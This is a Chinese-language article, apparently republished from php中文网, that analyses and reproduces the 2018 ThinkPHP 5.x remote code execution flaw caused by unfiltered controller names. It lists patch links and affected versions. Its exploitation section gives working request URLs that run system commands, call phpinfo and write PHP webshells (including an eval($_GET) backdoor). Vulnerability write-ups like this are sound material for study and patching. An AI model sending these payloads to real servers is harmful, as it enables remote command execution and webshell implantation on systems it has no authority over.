ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现
php中文网最新课程
每日17点准时技术干货分享
0x00 前言
ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的 getshell 漏洞,受影响的版本包括 5.0 和 5.1 版本,推荐尽快更新到最新版本。
0x01 影响范围
5.x < 5.1.31, <= 5.0.23
0x02 漏洞分析
Thinkphp v5.0.x 补丁地址: https://github.com/top-think/framework/com...
Thinkphp v5.1.x 补丁地址: https://github.com/top-think/framework/com...
路由信息中 controller 的部分进行了过滤,可知问题出现在路由调度时
关键代码:
在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入 \ 符号来调用任意类方法。
其中使用了 $this->app->controller 方法来实例化控制器,然后调用实例中的方法。跟进 controller 方法:
其中通过 parseModuleAndClass 方法解析出 $module 和 $class,然后实例化 $class。
而 parseModuleAndClass 方法中,当 $name 以反斜线 \ 开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的 $name(即路由中的 controller 部分),那么就可以实例化任何一个类。
接着,我们再往回看路由解析的代码。其中 route/dispatch/Url.php:: parseUrl 方法调用了 route/Rule.php:: parseUrlPath 来解析 pathinfo 中的路由信息
代码比较简单,就是使用 / 对 $url 进行分割,未进行任何过滤。
其中的路由 url 从 Request::path () 中获取
由于 var_pathinfo 的默认配置为 s,我们可利用 $_GET ['s'] 来传递路由信息,也可利用 pathinfo 来传递,但测试时 windows 环境下会将 $_SERVER ['pathinfo'] 中的 \ 替换为 /。
结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method ,这将会实例化 \namespace\class 类并执行 method 方法。
0x03 漏洞利用
docker 漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/...
1. 利用 system 函数远程命令执行
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2. 通过 phpinfo 函数写出 phpinfo () 的信息
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3. 写入 shell:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
或者
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
-END-
声明:本文选自「 php中文网 」,搜索「 phpcnnew 」即可关注!
▼
ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现相关推荐
- rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警
报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...
- 【安全漏洞】Rocket.Chat 远程命令执行漏洞分析
简述 Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织. 2021年3月19日,该漏洞在 HackerOne 被提出,于2021 ...
- 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞
[漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...
- GoAhead远程命令执行漏洞(CVE-2021-42342)
GoAhead远程命令执行漏洞(CVE-2021-42342) 目录 GoAhead远程命令执行漏洞(CVE-2021-42342) 漏洞描述 漏洞复现 启动环境 复现漏洞 漏洞描述 漏洞主要是由于上 ...
- Yapi远程命令执行漏洞
命令执行漏洞利用的条件? 攻击者可以控制eval函数的参数 [漏洞名称] Yapi远程命令执行漏洞 [漏洞详情] Yapi接口管理平台,使用Mock数据/脚本作为中间交互层,为前端后台开发与测试人员提 ...
- php命令执行漏洞利用,ThinkPHP 5.0 5.1远程命令执行漏洞利用分析
1漏洞利用方式 5.0版本POC(不唯一) 命令执行:? s=index/thinkapp/invokefunction&function=call_user_func_array&v ...
- ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
ThinkPHP 5.0.x.5.1.x.5.2.x 全版本远程代码执行漏洞 漏洞概述: ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架.借鉴Struts框架的Action对象,同 ...
- 浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224
浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224 此文章仅供用于学习研究,严禁用于非法用途,否则后果自负. 漏洞简介 浪潮服务器群集管理系统存在危险字符未过滤,导 ...
- Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析
Dlink路由器 CNVD-2018-01084复现分析 0x01 背景介绍 D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞.该漏洞是由于service ...
最新文章
- 解决flex4 分辨率自适应问题
- C++STL Vector
- 开源中国 2014 年源创会年度计划
- AYUI第12个作品-英雄联盟-魔法少女的星光水晶2.0-WPF版本
- ASP.NET和ASP程序防止在IE中进行缓存
- linux渗透win7的时候显示445,Win7如何简单的关闭445端口及445端口入侵详解
- 批量复制文件夹的批处理.bat命令
- linux 自动执行脚本
- qq手机令牌 for android3.3 官方安装版,原QQ安全助手|QQ手机管家 for Android 安卓版v3.3.0 - PC6安卓网...
- Android强制系统横屏的原理和实现
- git提交失败提示 fatal:The remote end hung up unexpectedly
- 游戏:杀戮尖塔(Slay the spire)mod--拉格朗·月
- 零窗口探测怎么抓包_易语言防止助手探测窗口的代码
- 使用UltraISO刻录DMG光盘映像
- 有多少甘特图工具和资源是你熟悉的?
- 计算机作品大赛微课,我校微课作品获2018年中国大学生计算机设计大赛二等奖...
- 什么软件运用计算机处理图像,平面设计中计算机图形图像处理软件的运用探究...
- 多通道半桥驱动器 NSD8308
- 「开机自启」macOS如何关闭开机自启动软件?
- 技术笔记:Spring常见面试题总结
热门文章
- client does not support authentication
- std::lexicographical_compare
- 综观java读取和创建excel方法
- linux下的C语言开发(线程等待)
- php 打印请求体,php如何获取原生请求体
- jsp下拉列表java_java – JSP:下拉列表2取决于下拉列表1
- linux 声音控制 命令,linux 声音大小调整的命令
- c oracle 存储图片,用c语言如何读取和保存jpg图片文件?
- 三菱880彩铅和uni的区别_【彩铅基础】水溶性彩铅是什么?
- 目录遍历漏洞和文件读取漏洞的区别